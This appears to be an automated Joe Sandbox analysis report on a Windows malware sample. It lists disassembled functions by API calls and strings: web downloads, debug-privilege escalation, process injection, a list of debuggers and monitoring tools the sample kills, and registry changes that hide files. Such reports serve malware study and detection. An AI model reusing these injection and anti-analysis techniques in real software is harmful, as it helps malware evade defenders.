Instruction Fuzzy Hash: 90D0C921F3894181E7A4AB26E889729A2A1FBC4B44F808035E699415A4DE3CC0AA8F00

Function 00007FF7CDC43B54 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF7CDC43B70

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b541e8117daad4751c7a279db5381b441ce47fb4f749190da09f5cfabf446e69
Instruction ID: 9cb7a7332ed62ec7c1fa99d797c98d6ccceb5863e07b0cde023c9d6c85144bbe
Opcode Fuzzy Hash: b541e8117daad4751c7a279db5381b441ce47fb4f749190da09f5cfabf446e69
Instruction Fuzzy Hash: 1AC08CB1F2A180C7DB2CEF32E495F1B6A21B784740F908428EB0647B84C93EC2628F00

Non-executed Functions

Function 00007FF7CDC41CDC Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138networksleepmemoryCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF7CDC41D20
Sleep.KERNEL32 ref: 00007FF7CDC41D38
InternetOpenUrlW.WININET ref: 00007FF7CDC41D64
InternetOpenUrlW.WININET ref: 00007FF7CDC41D9B
InternetCloseHandle.WININET ref: 00007FF7CDC41DB3
Sleep.KERNEL32 ref: 00007FF7CDC41DBE
HttpQueryInfoA.WININET ref: 00007FF7CDC41DEE
InternetCloseHandle.WININET ref: 00007FF7CDC41DFD
InternetCloseHandle.WININET ref: 00007FF7CDC41E08
Sleep.KERNEL32 ref: 00007FF7CDC41E13
InternetCloseHandle.WININET ref: 00007FF7CDC41E2D
InternetOpenUrlW.WININET ref: 00007FF7CDC41E57
InternetCloseHandle.WININET ref: 00007FF7CDC41E6F
Sleep.KERNEL32 ref: 00007FF7CDC41E7A
HttpQueryInfoA.WININET ref: 00007FF7CDC41EB2
GetProcessHeap.KERNEL32 ref: 00007FF7CDC41EC1
RtlAllocateHeap.NTDLL ref: 00007FF7CDC41ED7
InternetCloseHandle.WININET ref: 00007FF7CDC41EEF
InternetCloseHandle.WININET ref: 00007FF7CDC41EFA
InternetReadFile.WININET ref: 00007FF7CDC41F37
InternetCloseHandle.WININET ref: 00007FF7CDC41F6D
InternetCloseHandle.WININET ref: 00007FF7CDC41F78

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF7CDC41D19

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction ID: c65967b95df306ead66592dcd2db9336f44a39e3229b641b19b95fc7829305f0
Opcode Fuzzy Hash: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction Fuzzy Hash: 3671F736A1CA818AE760AF50F45833AB761FBC47A4F901035FB9E43AA8DF7CD4558B50

Function 00007FF7CDC440E4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7CDC4414B
OpenProcessToken.ADVAPI32 ref: 00007FF7CDC4415E
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7CDC44186
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7CDC441B1
CloseHandle.KERNEL32 ref: 00007FF7CDC441BC
OpenProcess.KERNEL32 ref: 00007FF7CDC441D1
WaitForSingleObject.KERNEL32 ref: 00007FF7CDC4422C
CloseHandle.KERNEL32 ref: 00007FF7CDC44249

Strings

SeDebugPrivilege, xrefs: 00007FF7CDC4417D

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Process$CloseHandleOpenToken$AdjustCurrentLookupObjectPrivilegePrivilegesSingleValueWait
String ID: SeDebugPrivilege
API String ID: 2379135442-2896544425
Opcode ID: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction ID: b97e0e8764268efe679850514ca9d5e28468bede80a4f2e090460c6997ee1581
Opcode Fuzzy Hash: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction Fuzzy Hash: 5541603261C6818AE770AF51F44876AF7B1FB80764FA04038EB9946A98DFBDD449CF50

Function 00007FF7CDC42CB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF7CDC42D6F
WriteProcessMemory.KERNEL32 ref: 00007FF7CDC42DC1
VirtualProtectEx.KERNEL32 ref: 00007FF7CDC42DF7

Strings

@, xrefs: 00007FF7CDC42D54

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Virtual$AllocMemoryProcessProtectWrite
String ID: @
API String ID: 4073123320-2766056989
Opcode ID: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction ID: dd9e5f26d799355d0c1b472558caa71a09f5e8ef9825b528fcf5037c6da60e3d
Opcode Fuzzy Hash: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction Fuzzy Hash: 1441F23260CA858AE7709F15E45876BF7A1F784B98F504025EB8D83B98EF7DD4458B40

Function 00007FF7CDC44004 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7CDC44022
Process32FirstW.KERNEL32 ref: 00007FF7CDC44054
wcscmp.MSVCRT ref: 00007FF7CDC4406B
CloseHandle.KERNEL32 ref: 00007FF7CDC440A1

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction ID: 5dfa3419472092352abfe64236a64456acd08334b6872a4766d4461d05eb9f77
Opcode Fuzzy Hash: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction Fuzzy Hash: 9A110A71A0CA8289E770AF10E48C37AA3A1FB84764F904235C7AD426D8EF7DD515CB50

Function 00007FF7CDC433EC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF7CDC43413

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: a034898b75751d47565587f8f48239afe675d10d53b418dd8b899e915f47bf55
Instruction ID: de648653c2f28d6bd3fc37191a9a7a529da03ab4b96c85b9d341661cb8c4b801
Opcode Fuzzy Hash: a034898b75751d47565587f8f48239afe675d10d53b418dd8b899e915f47bf55
Instruction Fuzzy Hash: BEF04431B4C1428AEB759E01E50C3F5B7E2AB99778FC01535D37C01594EA3DD5468E25

Function 00007FF7CDC446E4 Relevance: 25.7, APIs: 17, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7CDC4472B
GetFileSize.KERNEL32 ref: 00007FF7CDC4474C
GetProcessHeap.KERNEL32 ref: 00007FF7CDC44762
RtlAllocateHeap.NTDLL ref: 00007FF7CDC4477B
CloseHandle.KERNEL32 ref: 00007FF7CDC44793

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction ID: a233c75069debec454ea18e9251f45dc9fe6aa2a3699d4f3311534030ea9215a
Opcode Fuzzy Hash: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction Fuzzy Hash: 4C810A2260CB8186EA60DF55F44837AE7A1FBC8BA1F504135EB9D83B68EF7CD0558B10

Function 00007FF7CDC430DC Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CDC445C4: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43117), ref: 00007FF7CDC4460C
Part of subcall function 00007FF7CDC445C4: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43117), ref: 00007FF7CDC44649
Part of subcall function 00007FF7CDC445C4: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43117), ref: 00007FF7CDC44654

Part of subcall function 00007FF7CDC43B84: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC4311C), ref: 00007FF7CDC43BC7
Part of subcall function 00007FF7CDC43B84: RegSetValueExW.ADVAPI32 ref: 00007FF7CDC43BFD
Part of subcall function 00007FF7CDC43B84: RegCloseKey.ADVAPI32 ref: 00007FF7CDC43C0C

Part of subcall function 00007FF7CDC43C24: RegDeleteKeyW.ADVAPI32 ref: 00007FF7CDC43C3C

Part of subcall function 00007FF7CDC43E24: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7CDC43E37

Part of subcall function 00007FF7CDC43E24: Process32FirstW.KERNEL32 ref: 00007FF7CDC43E6A
Part of subcall function 00007FF7CDC43E24: CloseHandle.KERNEL32 ref: 00007FF7CDC43E7C

Part of subcall function 00007FF7CDC43E24: wcscmp.MSVCRT ref: 00007FF7CDC43E91
Part of subcall function 00007FF7CDC43E24: OpenProcess.KERNEL32 ref: 00007FF7CDC43EA7
Part of subcall function 00007FF7CDC43E24: TerminateProcess.KERNEL32 ref: 00007FF7CDC43ECA
Part of subcall function 00007FF7CDC43E24: CloseHandle.KERNEL32 ref: 00007FF7CDC43ED8
Part of subcall function 00007FF7CDC43E24: Process32NextW.KERNEL32 ref: 00007FF7CDC43EEB
Part of subcall function 00007FF7CDC43E24: CloseHandle.KERNEL32 ref: 00007FF7CDC43EFD

Part of subcall function 00007FF7CDC439B4: RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF7CDC43B0C), ref: 00007FF7CDC439E4

Sleep.KERNEL32 ref: 00007FF7CDC431C6

Strings

ProcessHacker.exe, xrefs: 00007FF7CDC43142
procmon.exe, xrefs: 00007FF7CDC431A2
TOTALCMD.exe, xrefs: 00007FF7CDC43166
idaq64.exe, xrefs: 00007FF7CDC4317E
autoruns.exe, xrefs: 00007FF7CDC43196
procexp.exe, xrefs: 00007FF7CDC4314E
procexp64.exe, xrefs: 00007FF7CDC4315A
x64dbg.exe, xrefs: 00007FF7CDC43172
idaq.exe, xrefs: 00007FF7CDC4318A
Services, xrefs: 00007FF7CDC431B5

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction ID: 7b323e7dc25485ecc2f784586721cd7bfc7303f13248e342effef91415f42d76
Opcode Fuzzy Hash: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction Fuzzy Hash: 8321AB20F9D54258EA24FF60D8591F5E262AF90770FD01931E73D421E6FE2CE91B8A64

Function 00007FF7CDC42E6C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF7CDC42E85
ReleaseMutex.KERNEL32 ref: 00007FF7CDC42E9D
CloseHandle.KERNEL32 ref: 00007FF7CDC42EA8
GetLastError.KERNEL32 ref: 00007FF7CDC42EB5
ReleaseMutex.KERNEL32 ref: 00007FF7CDC42EC7
CloseHandle.KERNEL32 ref: 00007FF7CDC42ED2

Strings

rbNSpGEsyb, xrefs: 00007FF7CDC42E70

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction ID: ccadc5ae1e4d148c23e63aa46b29db983f9d4581893cd197b74e9944b8133f08
Opcode Fuzzy Hash: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction Fuzzy Hash: 3801E121B0CA4185E730BF11E85C37AE772FB88B79F940531DA5E426A4DF3CD5968A50

Function 00007FF7CDC43E24 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7CDC43E37
Process32FirstW.KERNEL32 ref: 00007FF7CDC43E6A
CloseHandle.KERNEL32 ref: 00007FF7CDC43E7C

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction ID: dee51165fecd690dceea9853f5996ffb85ba88ab2c8785ea7f01dd926de715e4
Opcode Fuzzy Hash: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction Fuzzy Hash: 92210C31B0C98689E770AF11E85C37AA362FBC4764F904634DA6E425E8EF2CD456CB50

Function 00007FF7CDC42F0C Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF7CDC42F1E
ReleaseMutex.KERNEL32 ref: 00007FF7CDC42F36
CloseHandle.KERNEL32 ref: 00007FF7CDC42F41
GetLastError.KERNEL32 ref: 00007FF7CDC42F4E
ReleaseMutex.KERNEL32 ref: 00007FF7CDC42F60
CloseHandle.KERNEL32 ref: 00007FF7CDC42F6B

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction ID: a8c4e3991dd1178dfa5d08428b724f67f2fc459b54bc644aa4afe6777e962a8a
Opcode Fuzzy Hash: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction Fuzzy Hash: CE010022B1CA41C6E730BF11E81C23EE371FFC8B64FD00531EA9E426A4DE2CD5568A50

Function 00007FF7CDC43CE4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7CDC43D01
PathFindFileNameW.SHLWAPI ref: 00007FF7CDC43D14
wcslen.MSVCRT ref: 00007FF7CDC43D2A
wcsncpy.MSVCRT ref: 00007FF7CDC43DEF

Strings

Unknown, xrefs: 00007FF7CDC43DE0

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction ID: 391f0b845684d512bf94d064b16fd3036cb3c998fba05e50fa2401085dfebd39
Opcode Fuzzy Hash: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction Fuzzy Hash: F331C77261DAC089D770AF19E4987AAB3A1F7C8750F400525DB9D83B68EF3DD155CB10

Function 00007FF7CDC43B84 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC4311C), ref: 00007FF7CDC43BC7
RegSetValueExW.ADVAPI32 ref: 00007FF7CDC43BFD
RegCloseKey.ADVAPI32 ref: 00007FF7CDC43C0C

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF7CDC43B88
Hidden, xrefs: 00007FF7CDC43B94

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction ID: deaf8d56bfcbdeeea0d841af5e30ce8d1cf043b53379a9c5c4840ff16302d622
Opcode Fuzzy Hash: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction Fuzzy Hash: 5F014C3661CA808ADB60AF14F44876AB774F7887A4F801225EB9D43BA8EF7CC155CF00

Function 00007FF7CDC42F9C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CDC438C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC4390D
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43922
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43935
Part of subcall function 00007FF7CDC438C4: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43945
Part of subcall function 00007FF7CDC438C4: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43958
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC4396D
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43980
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43995

Part of subcall function 00007FF7CDC446E4: CreateFileW.KERNEL32 ref: 00007FF7CDC4472B

Part of subcall function 00007FF7CDC440E4: GetCurrentProcess.KERNEL32 ref: 00007FF7CDC4414B
Part of subcall function 00007FF7CDC440E4: OpenProcessToken.ADVAPI32 ref: 00007FF7CDC4415E
Part of subcall function 00007FF7CDC440E4: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7CDC44186
Part of subcall function 00007FF7CDC440E4: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7CDC441B1
Part of subcall function 00007FF7CDC440E4: CloseHandle.KERNEL32 ref: 00007FF7CDC441BC
